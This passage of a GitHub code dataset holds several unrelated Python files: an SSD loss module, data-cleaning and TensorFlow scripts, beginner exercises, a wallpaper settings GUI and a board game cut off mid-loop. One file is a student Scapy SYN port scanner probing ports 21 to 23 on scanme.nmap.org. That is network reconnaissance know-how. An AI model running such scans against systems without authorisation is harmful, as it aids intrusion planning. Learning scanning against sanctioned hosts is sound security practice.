bkg_label\n        self.encode_target = encode_target\n        self.use_prior_for_matching = prior_for_matching\n        self.do_neg_mining = neg_mining\n        self.negpos_ratio = neg_pos\n        self.neg_overlap = neg_overlap\n        self.variance = cfg['variance']\n        self.focalloss = FocalLoss(self.num_classes,gamma=2,size_average = False)\n        self.gious = GiouLoss(pred_mode = 'Center',size_sum=True,variances=self.variance)\n        self.loss_c = loss_c\n        self.loss_r = loss_r\n        if self.loss_r != 'SmoothL1' or self.loss_r !='Giou':\n            assert Exception(\"THe loss_r is Error, loss name must be SmoothL1 or Giou\")\n        elif self.loss_c != 'CrossEntropy' or self.loss_c !='FocalLoss':\n            assert Exception(\"THe loss_c is Error, loss name must be CrossEntropy or FocalLoss\")\n        elif self.loss_r == 'Giou':\n            match_gious(self.threshold, truths, defaults, self.variance, labels,\n                loc_t, conf_t, idx)\n\n    def forward(self, predictions, targets):\n        \"\"\"Multibox Loss\n        Args:\n            predictions (tuple): A tuple containing loc preds, conf preds,\n            and prior boxes from SSD net.\n                conf shape: torch.size(batch_size,num_priors,num_classes)\n                loc shape: torch.size(batch_size,num_priors,4)\n                priors shape: torch.size(num_priors,4)\n\n            targets (tensor): Ground truth boxes and labels for a batch,\n                shape: [batch_size,num_objs,5] (last idx is the label).\n        \"\"\"\n        loc_data, conf_data, priors = predictions\n        num = loc_data.size(0)\n       \n        priors = priors[:loc_data.size(1), :]\n\n        num_priors = (priors.size(0))\n\n        # match priors (default boxes) and ground truth boxes\n        loc_t = torch.Tensor(num, num_priors, 4)\n    \n        conf_t = torch.LongTensor(num, num_priors)\n        for idx in range(num):\n            truths = targets[idx][:, :-1].data\n            labels = targets[idx][:, -1].data\n            defaults = priors.data\n            if self.loss_r == 'SmoothL1':\n                match(self.threshold, truths, defaults, self.variance, labels,\n                    loc_t, conf_t, idx)\n            elif self.loss_r == 'Giou':\n                match_gious(self.threshold, truths, defaults, self.variance, labels,\n                    loc_t, conf_t, idx)\n\n        if self.use_gpu:\n            loc_t = loc_t.cuda()\n            conf_t = conf_t.cuda()\n        # wrap targets\n        #loc_t = Variable(loc_t, requires_grad=True)\n        #conf_t = Variable(conf_t, requires_grad=True)\n\n        pos = conf_t > 0\n        num_pos = pos.sum(dim=1, keepdim=True)\n        # Localization Loss (Smooth L1)\n        # Shape: [batch,num_priors,4]\n        pos_idx = pos.unsqueeze(pos.dim()).expand_as(loc_data)\n\n        loc_p = loc_data[pos_idx].view(-1, 4)\n        loc_t = loc_t[pos_idx].view(-1, 4)\n\n        if self.loss_r == 'SmoothL1':\n            loss_l = F.smooth_l1_loss(loc_p, loc_t, reduction='sum')\n        elif self.loss_r == 'Giou':\n            giou_priors = priors.data.unsqueeze(0).expand_as(loc_data)\n            loss_l = self.gious(loc_p,loc_t,giou_priors[pos_idx].view(-1, 4))\n        # Compute max conf across batch for hard negative mining\n        if self.loss_c == \"CrossEntropy\":\n        \n            batch_conf = conf_data.view(-1, self.num_classes)\n            loss_c = log_sum_exp(batch_conf) - batch_conf.gather(1, conf_t.view(-1, 1))\n\n            # Hard Negative Mining\n            loss_c = loss_c.view(num, -1)\n            loss_c[pos] = 0 \n            _, loss_idx = loss_c.sort(1, descending=True)\n            _, idx_rank = loss_idx.sort(1)\n            num_pos = pos.long().sum(1, keepdim=True)\n            num_neg = torch.clamp(self.negpos_ratio*num_pos, max=pos.size(1)-1)\n            neg = idx_rank < num_neg.expand_as(idx_rank)\n\n            # Confidence Loss Including Positive and Negative Examples\n            pos_idx = pos.unsqueeze(2).expand_as(conf_data)\n            neg_idx = neg.unsqueeze(2).expand_as(conf_data)\n            conf_p = conf_data[(pos_idx+neg_idx).gt(0)].view(-1, self.num_classes)\n            targets_weighted = conf_t[(pos+neg).gt(0)]\n            loss_c = F.cross_entropy(conf_p, targets_weighted, reduction='sum')\n        \n        # Sum of losses: L(x,c,l,g) = (Lconf(x, c) + αLloc(x,l,g)) / N\n        elif self.loss_c == \"FocalLoss\":\n            batch_conf = conf_data.view(-1, self.num_classes)\n            loss_c = self.focalloss(batch_conf,conf_t)\n        \n        N = num_pos.data.sum().double()\n        loss_l = loss_l.double()\n        loss_c = loss_c.double()\n        loss_l /= N\n        loss_c /= N\n\n        return loss_l, loss_c\n","repo_name":"JaryHuang/awesome_SSD_FPN_GIoU","sub_path":"utils/loss/multibox_loss.py","file_name":"multibox_loss.py","file_ext":"py","file_size_in_byte":9975,"program_lang":"python","lang":"en","doc_type":"code","stars":107,"dataset":"github-code","pt":"35"}
{"seq_id":"2481162622","text":"import pandas as pd\r\n\r\n\r\n\r\ndf = pd.read_csv(\"C:/Users/yurar/PycharmProjects/diplom/csv/allstats14-19.csv\", encoding='cp1251', delimiter=',')\r\ndata = df.drop(['Div', 'HTHG', 'HTAG', 'HTR', 'B365H', 'B365D', 'B365A',\r\n                       'BWH', 'BWD', 'BWA', 'IWH', 'IWD',\r\n                       'IWA', 'LBH', 'LBD', 'LBA', 'WHH',\r\n                       'WHD', 'WHA', 'SJH', 'SJD', 'SJA', 'VCH', 'VCD', 'VCA',\r\n                       'PSH', 'PSD', 'PSA', 'PSCH', 'PSCD', 'PSCA',\r\n                       'Bb1X2', 'BbMxH', 'BbAvH', 'BbMxD',\r\n                       'BbAvD', 'BbMxA', 'BbAvA', 'BbOU', 'BbMx>2.5', 'BbAv>2.5',\r\n                       'BbMx<2.5', 'BbAv<2.5', 'BbAH', 'BbAHh', 'BbMxAHH', 'BbAvAHH', 'BbMxAHA', 'BbAvAHA'], axis=1)\r\n\r\ndata_new = data.rename(columns={'Date': 'Дата', 'HomeTeam': 'Хозяева(Х)', 'AwayTeam': 'Гости(Г)','FTHG': 'ГолыХ',\r\n                         'FTAG': 'ГолыГ', 'FTR': 'Результат', 'HS': 'УдарыХ', 'AS': 'УдарыГ',\r\n                         'HST': 'Удары по воротам Х', 'AST': 'Удары по воротам Г', 'HF': 'ФолыХ', 'AF': 'ФолыГ',\r\n                         'HC': 'УгловыеХ', 'AC': 'УгловыеГ', 'HY': 'ЖКХ', 'AY': 'ЖКГ', 'HR': 'ККХ', 'AR': 'ККГ'}, inplace=True)\r\n\r\n\r\n\r\n","repo_name":"Ysavoskin/graduate_work","sub_path":"clear.py","file_name":"clear.py","file_ext":"py","file_size_in_byte":1322,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"39401719280","text":"import tensorflow.examples.tutorials.mnist.input_data as input_data\nimport tensorflow as tf\nfrom PIL import Image,ImageOps\nimport numpy as np\n\nsess = tf.InteractiveSession()\n\nx = tf.placeholder(tf.float32, [None, 784])\n\ndef define_variable(shape,name):\n    return tf.Variable(tf.truncated_normal(shape,stddev=0.1),name)\n\ninput_image = tf.reshape(x, [-1, 28, 28, 1])\nW_conv1 = define_variable([5, 5, 1, 6], \"W_conv1\")\nb_conv1 = define_variable([6], \"b_conv1\")\n\n\nconv1 = tf.nn.conv2d(input_image, W_conv1, strides=[1, 1, 1, 1],padding='SAME') \nrelu1 = tf.nn.relu(conv1 + b_conv1)\npool1 = tf.nn.max_pool(relu1, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='VALID') \n\nW_conv2 = define_variable([5, 5, 6, 16], \"W_conv2\")\nb_conv2 = define_variable([16], \"b_conv2\")\n\nconv2 = tf.nn.conv2d(pool1, W_conv2, strides=[1, 1, 1, 1],padding='VALID') \nrelu2 = tf.nn.relu(conv2 + b_conv2) \npool2 = tf.nn.max_pool(relu2, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='VALID')\n\n\nW_conv3 = define_variable([5, 5, 16, 120], \"W_conv3\")\nb_conv3 = define_variable([120], \"b_conv3\")\n\nconv3 = tf.nn.conv2d(pool2, W_conv3, strides=[1, 1, 1, 1],padding='VALID') \nrelu3 = tf.nn.relu(conv3 + b_conv3)\n\nflat = tf.reshape(relu3,[-1,120])\n\nW_fc1 = define_variable([120,84], \"W_fc1\")\nb_fc1 = define_variable([84], \"b_fc1\")\n\nfc1 = tf.nn.relu(tf.matmul(flat, W_fc1) + b_fc1)\n\ndropout1 = tf.placeholder(\"float\")\nfc1_dropout = tf.nn.dropout(fc1, dropout1)\n\nW_fc2 = define_variable([84, 10], \"W_fc2\")\nb_fc2 = define_variable([10], \"b_fc2\")\n\ny_output = tf.nn.softmax(tf.nn.relu(tf.matmul(fc1_dropout, W_fc2) + b_fc2))\n\n\nmodel_path=\"checkpoint/variable\"\nsaver = tf.train.Saver()\n\nload_path = saver.restore(sess, model_path)\n\n\ndef inference(image):\n    img = image.convert('L')\n    img = img.resize([28,28],Image.ANTIALIAS)\n    x_input = np.array(img,dtype=\"float32\")/255\n    x_input = np.reshape(x_input,[-1,784])\n    output = y_output.eval(feed_dict={x:x_input,dropout1 : 1.0})\n    return tf.argmax(output,1).eval()\n\n\n#output = y_output.eval(feed_dict={x:img,dropout1 : 1.0})\n#a =  tf.argmax(output,1)\n#print a.eval()\n\"\"\"\nfor i in range(10000):\n    batch = mnist.train.next_batch(50)\n    if i%100 == 0:\n        train_accuracy = accuracy.eval(feed_dict={\n            x:batch[0], y: batch[1], dropout1: 1.0})\n        print \"step %d, training accuracy %g\"%(i, train_accuracy)\n    train_step.run(feed_dict={x: batch[0], y: batch[1], dropout1: 0.5})\nprint \"test accuracy %g\"%accuracy.eval(feed_dict={\n    x: mnist.test.images, y: mnist.test.labels, dropout1: 1.0})\n\"\"\"\n","repo_name":"Chunhua-takua/LeNet","sub_path":"Inference.py","file_name":"Inference.py","file_ext":"py","file_size_in_byte":2533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"35"}
{"seq_id":"115022480","text":"# Part 1\n\nhorGrid = 2*('+ ' + 4*'- ') + '+\\n'\nverGrid = 4*(2*('| ' + 4*'  ') + '|\\n')\nprint(horGrid + verGrid + horGrid + verGrid + horGrid)\n\n# Part 2\n\ndef print_grid(n):\n\n    if n%2==0:\n        size=n+1\n    else:\n        size=n\n\n    midPt = n//2\n    horGrid = 2*('+' + midPt*'- ') +'+'\n    verGrid = 2*('|' + midPt*'  ') + '|'\n\n    for i in range(size+1):\n        if i==0 or i == midPt+1:\n            print(horGrid)\n        else:\n            print(verGrid)\n    print(horGrid)\n\na = input(\"What sized grid friend?  \")\nprint(print_grid(int(a)),str(\"wow thats a fancy grid!\"))\n\n# Part 3\n\ndef print_good_grid(a,b):\n\n    horzgrid= a*('+' + b*'- ')+'+'\n    vertgrid= a*('|'+ b*'  ')+'|'\n\n    for i in range(a):\n        print(horzgrid+((\"\\n\"+vertgrid)*a))\n    print(horzgrid)\n\n\nz,x=input(\"please enter desired cell count, cell size  \").split(',')\nprint(print_good_grid(int(z),int(x)))\n","repo_name":"UWPCE-PythonCert-ClassRepos/SP_Online_PY210","sub_path":"students/scotchwsplenda/Lesson_2/Grid_Printer.py","file_name":"Grid_Printer.py","file_ext":"py","file_size_in_byte":878,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"35"}
{"seq_id":"27162883711","text":"import xarray\nimport numpy as np\nimport numpy.typing as npt\nfrom typing import Any, Tuple, Sequence\n\n\ndef flip(data: xarray.DataArray, dims: Sequence[str] = []) -> xarray.DataArray:\n    \"\"\"\n    Reverse the data backing a DataArray along the specified dimension(s).\n    \"\"\"\n    flip_selector = ()\n    for dim in data.dims:\n        if dim in dims:\n            flip_selector += (slice(None, None, -1),)\n        else:\n            flip_selector += (slice(None),)\n    return data.copy(data=data[flip_selector].data)\n\n\ndef stt_coord(length: int, dim: str, scale: float, translate: float, unit: str):\n    \"\"\"\n    Create a coordinate variable parametrized by a shape, a scale, a translation, and\n    a unit. The translation is applied after the scaling.\n    \"\"\"\n    return xarray.DataArray(\n        (np.arange(length) * scale) + translate, dims=(dim,), attrs={\"units\": unit}\n    )\n\n\ndef stt_from_array(\n    data: npt.ArrayLike,\n    dims: Tuple[str, ...],\n    scales: Tuple[float, ...],\n    translates: Tuple[float, ...],\n    units: Tuple[str, ...],\n    **kwargs: Any,\n) -> xarray.DataArray:\n    \"\"\"\n    Create a DataArray with coordinates parametrized by a shape, a sequence of dims,\n    a sequence of scales, a sequence of translations, and a sequence of units from an\n    input array.\n    \"\"\"\n    coords = []\n    for idx, s in enumerate(data.shape):\n        coords.append(stt_coord(s, dims[idx], scales[idx], translates[idx], units[idx]))\n\n    return xarray.DataArray(data, dims=dims, coords=coords, **kwargs)\n","repo_name":"janelia-cellmap/fibsem-tools","sub_path":"src/fibsem_tools/io/xr.py","file_name":"xr.py","file_ext":"py","file_size_in_byte":1503,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"35"}
{"seq_id":"26439171397","text":"''' Contains the PentaGrid class '''\n\nimport numpy as np\nimport sdl2.ext\nfrom penroseGenerator.src.core.geometry import Line2D, intersect_line2d, Lattice\nfrom penroseGenerator.src.core.sprite import BaseSprite\nfrom penroseGenerator.src.penrose.mathpentagrid import MathPentagrid\nfrom penroseGenerator.src.penrose.penrosemaps import PenroseMap #pylint: disable=W0611\n\nclass Pentagrid(BaseSprite):\n    ''' Draws and manages a pentagrid with its corresponding Penrose tiling. (Sort of...)'''\n\n    def __init__(self, size) -> None:\n        super().__init__(size)\n        self.mathpg = MathPentagrid(PenroseMap(np.array([.0,.1,.2,.3,-.6], float)))\n        self.texture = None\n        self.xyscale = np.array([100,100], dtype=float)\n        self.origin = (self.size / self.xyscale) / 2\n        self.linecolors = [\n            (255,  0,  0,255),\n            (255,255,  0,255),\n            (  0,255,  0,255),\n            (  0,255,255,255),\n            (  0,  0,255,255)]\n        self.linemin, self.linemax = -1,1\n        self.latticemax = 5\n\n    def intersect_latices(self, lattice1:Lattice, lattice2:Lattice):\n        ''' \n        Compute every intersection between two groups of evenly spaced, parallel lines.\n        '''\n        line1, start1, stop1, step1, offset1 = lattice1\n        line2, start2, stop2, step2, offset2 = lattice2\n        line1 = Line2D.copyconstruct(line1)\n        line2 = Line2D.copyconstruct(line2)\n        line1.dist_to_zero = start1 * step1 + offset1\n        line2.dist_to_zero = start2 * step2 + offset2\n        intersect0 = intersect_line2d(line1, line2)\n        line1.dist_to_zero += step1\n        intersect1 = intersect_line2d(line1 ,line2)\n        line1.dist_to_zero -= step1\n        line2.dist_to_zero += step2\n        intersect2 = intersect_line2d(line1 ,line2)\n        line2.dist_to_zero -= step2\n        if intersect0 is None or intersect1 is None or intersect2 is None:\n            return None\n        lineno1 = stop1 - start1 + 1\n        lineno2 = stop2 - start2 + 1\n        dintersect1 = intersect1 - intersect0\n        dintersect2 = intersect2 - intersect0\n        lincomb1 = np.outer(np.arange(lineno1), dintersect1)\n        lincomb2 = np.outer(np.arange(lineno2), dintersect2)\n        intersects = intersect0 + lincomb1[None,:] + lincomb2[:,None]\n        return np.reshape(intersects, (lineno1 * lineno2, 2))\n\n    def get_intersections(self, lattices:list[Lattice]):\n        ''' Return every intersection between the groups of evenly spaced, parallel lines. '''\n        latticelines = self.linemax - self.linemin +1\n        latticecount = len(lattices)\n        intersectioncount = latticelines**2 * int(latticecount * (latticecount-1) / 2)\n        intersections = np.zeros((intersectioncount, 4), dtype=float)\n        index = 0\n        for i, ilattice in enumerate(lattices):\n            for j, jlattice in enumerate(lattices):\n                if i >= j:\n                    continue\n                latt_inter = self.intersect_latices(ilattice, jlattice)\n                licount = (ilattice[2] - ilattice[1] + 1) * (jlattice[2] - jlattice[1] + 1)\n                if latt_inter is None:\n                    continue\n                intersections[index : index+licount, 0:2] = latt_inter\n                intersections[index : index+licount, 2] = i\n                intersections[index : index+licount, 3] = j\n                index += licount\n        return intersections\n\n    def draw_penrose(self, lattices):\n        ''' Draw a penrose tiling defined by `lattices`. '''\n        intersections = self.get_intersections(lattices)\n        for lattice_intersection in intersections:\n            intersect, r, s = lattice_intersection[:2], *lattice_intersection[2:].astype(int)\n            if r + s == 0:\n                continue\n            self.draw_dot_transformed(intersect, 4, color=self.linecolors[r])\n            self.draw_dot_transformed(intersect, 2, color=self.linecolors[s])\n            vertices = self.mathpg.get_verts_from_intersect(complex(*intersect), r, s)\n            for i,vertex in enumerate(vertices):\n                self.draw_line_transformed(vertices[i-1], vertex, width=5, color=self.linecolors[r])\n                self.draw_line_transformed(vertices[i-1], vertex, width=2, color=self.linecolors[s])\n\n    def add_zoom(self, zoom:np.ndarray):\n        self.xyscale += zoom\n\n    def draw(self, target:sdl2.ext.Renderer):\n        sdl2.SDL_SetRenderDrawColor(self.renderer, 0,0,0,0)\n        sdl2.SDL_RenderClear(self.renderer, 0,0,0)\n        lattices = [\n            self.mathpg.reverse_is_on_grid(\n                j,\n                self.linemin,\n                self.linemax\n            ) for j in range(self.latticemax)\n        ]\n        botleft = 5 * -self.size/(2*self.xyscale)\n        topright = 5 * self.size/(2*self.xyscale)\n        for i,lattice in enumerate(lattices):\n            Line2D.draw_lattice(self, botleft, topright, lattice, color=(*self.linecolors[i][:-1], 200))\n        self.draw_penrose(lattices)\n        self.draw_dot_transformed(np.array([0,0]), 3, (255,0,0,255))\n        self.texture = sdl2.ext.Texture(target, self.surface)\n        target.blit(self.texture)\n","repo_name":"pale-ale/HEGL_Penrose","sub_path":"penroseGenerator/src/penrose/pentagrid.py","file_name":"pentagrid.py","file_ext":"py","file_size_in_byte":5131,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"24970337369","text":"#!/usr/bin/env python3\n\n# Script:                   401 Op Challenge Day 11\n# Author:                   Courtney Hans\n# Date of latest revision:  10/19/20\n# Purpose:                  Scapy scanning tool (1 of 3)\n\n# Import libraries\n\nfrom scapy.all import ICMP, IP, sr1, TCP, sr\nimport random\n\n# Declare variables\nhost = \"scanme.nmap.org\" # definining host IP\nport_range = [21, 22, 23] # providing a port range\n\n# Declare functions\n\n# Main\nfor dst_port in port_range: # for each port in defined range...\n    src_port = random.randint(1025,65534) # randomize TCP source port\n    port_num = str(dst_port)\n    response = sr1(IP(dst=host)/TCP(sport=src_port,dport=dst_port,flags=\"S\"),timeout=1,verbose=0)\n    if response is None:\n        print (\"Port \" + port_num + \": The packet was filtered.\")\n        print (response)\n    elif response.haslayer(TCP):\n        if response.getlayer(TCP).flags == 0x12: #Port responding and open\n            print(\"Port \" + port_num + \": The port is OPEN and responding.\")\n            # send RST packet to graciously close connection\n            send_rst = sr(IP(dst=host)/TCP(sport=src_port,dport=dst_port,flags=\"R\"),timeout=10)\n            print(response)\n        if response.getlayer(TCP).flags == 0x14: #Port closed\n            print(\"Port \" + port_num + \": The port is CLOSED.\")\n            print(response)\n     \n\n# resource: https://resources.infosecinstitute.com/port-scanning-using-scapy/\n# resource: https://stackoverflow.com/questions/20429674/get-tcp-flags-with-scapy\n# End","repo_name":"CourtHans/401-Ops-Challenges","sub_path":"11_Scapy1.py","file_name":"11_Scapy1.py","file_ext":"py","file_size_in_byte":1512,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"30370267549","text":"\"\"\"Exercise 1: Calculate the multiplication and sum of two numbers\"\"\"\r\n\r\nnumber1 = int(input(\"First number: \"))\r\nnumber2 = int(input(\"Second number: \"))\r\n\r\nsum = number1+number2\r\nMulti = number1*number2\r\n\r\nif Multi < 1000:\r\n    print(Multi)\r\nelse: print(sum) ","repo_name":"Raghav-2/Pynative_Practise","sub_path":"PYNATIVE WORKOUTS/P1.py","file_name":"P1.py","file_ext":"py","file_size_in_byte":259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"17232485123","text":"# -*- coding: utf-8 -*-\r\n# -*- by:sboxm-*-\r\n# 设置部分\r\nfrom tkinter import Label, Button, Tk, StringVar, OptionMenu\r\nfrom json import load\r\n\r\n\r\nclass GUI:\r\n    # 渲染主窗体\r\n    def __init__(self, configs):\r\n        # 配置读取部分\r\n        self.hitokoto_cfg = configs['hitokoto']\r\n        self.biying_cfg = configs['biying']\r\n        self.category_cfg = configs['category']\r\n        self.mode_cfg = configs['mode']\r\n        self.onchange_cfg = configs['onchange']\r\n        # 窗体部分\r\n        self.window = Tk()\r\n        self.window.title(\"设置\")\r\n        self.window.geometry(\"190x230\")\r\n        self.window.attributes(\"-toolwindow\", True)\r\n        self.window.minsize(190, 250)\r\n        self.window.maxsize(190, 250)\r\n        self.title = Label(self.window, text=\"壁纸鸭设置\\n——————————————\", anchor='center')\r\n        self.title.grid(row=0, column=0, columnspan=4)\r\n        # 一言\r\n        self.hitokoto_text = Label(self.window, text='一言')\r\n        self.hitokoto_button = Button(self.window, text='开' if self.hitokoto_cfg else '关',\r\n                                      command=self.toggle_hitokoto)\r\n        self.hitokoto_text.grid(row=1, column=0)\r\n        self.hitokoto_button.grid(row=1, column=1)\r\n        # 必应\r\n        self.biying_text = Label(self.window, text='必应')\r\n        self.biying_button = Button(self.window, text='开' if self.biying_cfg else '关',\r\n                                    command=self.toggle_biying)\r\n        self.biying_text.grid(row=2, column=0)\r\n        self.biying_button.grid(row=2, column=1)\r\n        # 类型\r\n        self.category_text = Label(self.window, text='类型')\r\n        self.options = ['随机', '4K', '美女', '美图', '风景', '小清新', '动漫卡通', '明星', '动物', '游戏']\r\n        self.selected = StringVar(value=self.options[self.category_cfg])\r\n        self.selection = OptionMenu(self.window, self.selected, *self.options, command=self.toggle_category)\r\n        self.category_text.grid(row=3, column=0)\r\n        self.selection.grid(row=3, column=1, columnspan=3)\r\n        # 模式\r\n        self.mode_text = Label(self.window, text='模式')\r\n        self.mode_button = Button(self.window, text='临时' if self.mode_cfg == 0 else '永久',\r\n                                  command=self.toggle_mode)\r\n        self.mode_text.grid(row=4, column=0)\r\n        self.mode_button.grid(row=4, column=1)\r\n        # 保存按钮\r\n        self.save_button = Button(self.window, text='保存并应用', command=self.save_settings)\r\n        self.save_button.grid(row=5, column=0, columnspan=4)\r\n        # 底部信息\r\n        self.title = Label(self.window, text=\"——————————————\\n版本 V1.0.0  主打就是一个简陋\", anchor='center')\r\n        self.title.grid(row=6, column=0, columnspan=4)\r\n        self.window.mainloop()\r\n\r\n    # 保存设置\r\n    def save_settings(self):\r\n        with open('config.json', 'w') as fp:\r\n            hitokoto = 'true' if self.hitokoto_cfg else 'false'\r\n            biying = 'true' if self.biying_cfg else 'false'\r\n            update_config = '{\\n\"hitokoto\":' + hitokoto + ',\\n\"biying\":' + biying + ',\\n\"category\":' + str(\r\n                self.category_cfg) + ',\\n\"mode\":' + str(self.mode_cfg) + ',\\n\"updatecycle\":10,\\n\"onchange\":true\\n}'\r\n            fp.write(update_config)\r\n\r\n    def toggle_mode(self):\r\n        if self.mode_button[\"text\"] == \"临时\":\r\n            self.mode_cfg = 1\r\n            self.mode_button[\"text\"] = \"永久\"\r\n        else:\r\n            self.mode_cfg = 0\r\n            self.mode_button[\"text\"] = \"临时\"\r\n\r\n    def toggle_category(self, event=None):\r\n        option_dict = {'随机': 0, '4K': 1, '美女': 2, '美图': 3, '风景': 4, '小清新': 5, '动漫卡通': 6, '明星': 7,\r\n                       '动物': 8, '游戏': 9}\r\n        self.category_cfg = option_dict[self.selected.get()]\r\n\r\n    def toggle_biying(self):\r\n        if self.biying_button[\"text\"] == \"开\":\r\n            self.biying_cfg = False\r\n            self.biying_button[\"text\"] = \"关\"\r\n        else:\r\n            self.biying_cfg = True\r\n            self.biying_button[\"text\"] = \"开\"\r\n\r\n    def toggle_hitokoto(self):\r\n        if self.hitokoto_button[\"text\"] == \"开\":\r\n            self.hitokoto_cfg = False\r\n            self.hitokoto_button[\"text\"] = \"关\"\r\n        else:\r\n            self.hitokoto_cfg = True\r\n            self.hitokoto_button[\"text\"] = \"开\"\r\n\r\n\r\nif __name__ == '__main__':\r\n    # 读取config配置\r\n    try:\r\n        config = open('config.json', 'r')\r\n        config_dit = load(config)\r\n        window1 = GUI(config_dit)\r\n    except FileNotFoundError:\r\n        pass\r\n","repo_name":"cnhkbbs/WallpaperDuck","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":4695,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"24134597379","text":"#! /usr/local/bin/python3\n\nfrom turtle import *\n\nandy = Turtle()     #create new object andy from class turtle\nbill = Turtle()     #create new object bill from class turtle\n\ncolormode(1.0)\nspeed(0)\n\ndef drawCircle(t,repetition,length,turn):\n    for i in range(repetition):\n        t.forward(length)\n        t.right(turn)\n\nandy.pencolor(\"red\")\ndrawCircle(andy,50,150,65)\n\nbill.pencolor(\"blue\")\ndrawCircle(bill,20,100,85)\n\n\ndone()\n","repo_name":"sharland/python_scripts","sub_path":"turtle/scripts/two_turtles.py","file_name":"two_turtles.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"30166561829","text":"# UBG is untitled board game, also UBG is in its beta stage meaning that its broken. It still kinda works.\n\nimport console\nimport Dice\nimport random\nimport timeit\n\nglobal index\nglobal rollTotal\n\na = 0\nb = 0\nc = 0\nd = 0\ne = 0\nsquare = 0\nsquarenum = 0\n\nallspaceslist = [\"Normal\",\"Go up 2\",\"Go back to start >:)\",\"Go back 3\"]\ngoodspaceslist = [\"Go up 2\", \"Go up 2\",\"Go up 2\"]\nbadspaceslist = [\"Go back 3\",\"Go back 3\",\"Go back to start >:)\",\"Go back 3\",\"Go back 3\",\"Go back 3\",\"Go back 3\",\"Go back 3\",\"Go back 3\"]\n\nremovedcount = 0\nboard = {}\ncn = []\nboardItems = []\nboardValues = []\nindex = -1\n\nspaces = 20\npowerupspaces = 5\nbadspaces = 5\n\nconsole.set_font(\"<System>\",40)\nprint(\"Welcome To Untitled Board Game!\")\n\nwtd = input(\"Play or Settings (type P or S YOU MUST USE CAPS)\")\n\ndef GenerateBoard(spaces,powerupspaces,badspaces):\n\tglobal index\n\tglobal cn\n\tglobal removedcount\n\tglobal board\n\tprint(\"Generating bad spaces...\")\n\tfor a in range(badspaces):\n\t\tboardItems.append(random.choices(badspaceslist))\n\t\tboardValues.append(random.randint(1,spaces))\n\t\tindex += 1\n\t\tfor b in boardValues:\n\t\t\tif c in cn:\n\t\t\t\tboardValues.remove(c)\n\t\t\t\tboardItems.remove(boardItems[index])\n\t\t\t\tremovedcount += 1\n\t\tfor d in range(removedcount):\n\t\t\tboardItems.append(random.choices(badspaceslist))\n\t\t\tboardValues.append(random.randint(1,spaces))\n\t\t\tif e in cn:\n\t\t\t\tboardValues.remove(e)\n\t\t\t\tboardItems.remove(boardItems[index])\n\t\t\t\tremovedcount += 1\n\t\tcn.append(b)\n\tconsole.clear()\n\tprint(\"Generating good spaces...\")\n\tfor a in range(powerupspaces):\n\t\tboardItems.append(random.choices(goodspaceslist))\n\t\tboardValues.append(random.randint(1,spaces))\n\t\tindex += 1\n\t\tfor b in boardValues:\n\t\t\tif c in cn:\n\t\t\t\tboardValues.remove(c)\n\t\t\t\tboardItems.remove(boardItems[index])\n\t\t\t\tremovedcount += 1\n\t\tfor d in range(removedcount):\n\t\t\tboardItems.append(random.choices(goodspaceslist))\n\t\t\tboardValues.append(random.randint(1,spaces))\n\t\t\tif e in cn:\n\t\t\t\tboardValues.remove(e)\n\t\t\t\tboardItems.remove(boardItems[index])\n\t\t\t\tremovedcount += 1\n\t\tcn.append(b)\n\t\tconsole.clear()\n\t\tprint(\"Almost done...\")\n\t\tboard = dict(zip(boardValues,boardItems))\n\t\tprint(f\"Generation complete! Heres the board! {board} (Spaces with no value are normal spaces) Press anything to play with that board\")\n\t\tprint()\n\ndef Playgame():\n\tglobal squarenum\n\tglobal square\n\tglobal rollTotal\n\tGenerateBoard(spaces,powerupspaces,badspaces)\n\tstarttime = timeit.default_timer()\n\tprint(\"Alright heres how to play 1. Roll your dice. You really just have to press enter.\")\n\tinput()\n\tDice.roll(1,6)\n\trollTotal = Dice.rollTotal\n\tprint(rollTotal,end=' ')\n\tprint(\"<--- That is your roll total, you will move that much when you press enter.\")\n\tinput()\n\tsquarenum += rollTotal\n\tif int(squarenum) in board:\n\t\tsquare = board.get(squarenum)\n\telse:\n\t\tsquare = \"Normal\"\n\tprint(square,end=\" \")\n\tprint(\"<--- Thats the square you landed on. Some do special things!\")\n\tif square == \"Normal\":\n\t\tprint(\"\",end=\"\")\n\telif square == \"Go up 2\":\n\t\tsquarenum += 2\n\telif square == \"Go back 3\":\n\t\tsquarenum -= 3\n\telif square == \"Go back to start >:)\":\n\t\tsquarenum = 0\n\t\n\tprint(\"Thats all there really is to it! It just loops until you get to the end.\")\n\twhile not squarenum >= spaces:\n\t\tprint(\"Roll (Press enter)\")\n\t\tinput()\n\t\tDice.roll()\n\t\trollTotal = Dice.rollTotal\n\t\tprint(rollTotal,end=' ')\n\t\tinput()\n\t\tsquarenum += rollTotal\n\t\tif int(squarenum) in board:\n\t\t\tsquare = board.get(squarenum)\n\t\telse:\n\t\t\tsquare = \"Normal\"\n\t\tprint(square)\n\t\tif square == \"Normal\":\n\t\t\tprint()\n\t\telif square == \"Go up 2\":\n\t\t\tsquarenum += 2\n\t\telif square == \"Go back 3\":\n\t\t\tsquarenum -= 3\n\t\telif square == \"Go back to start >:)\":\n\t\t\tsquarenum = 0\n\tendtime = timeit.default_timer()\n\ttime = round(endtime - starttime,1)\n\tprint(f\"You finished! It took you {time}!\")\t\n\n\ndef Settings():\n\tglobal spaces\n\tglobal powerupspaces\n\tglobal badspaces\n\tspaces = input(f\"How many spaces? Current: {spaces}\")\n\tpowerupspaces = input(f\"How many spaces have powerups? Current: {powerupspaces}\")\n\tbadspaces = input(f\"How many spaces are bad? Current: {badspaces}\")\n\n\nwhile wtd != \"P\":\n\tif wtd != 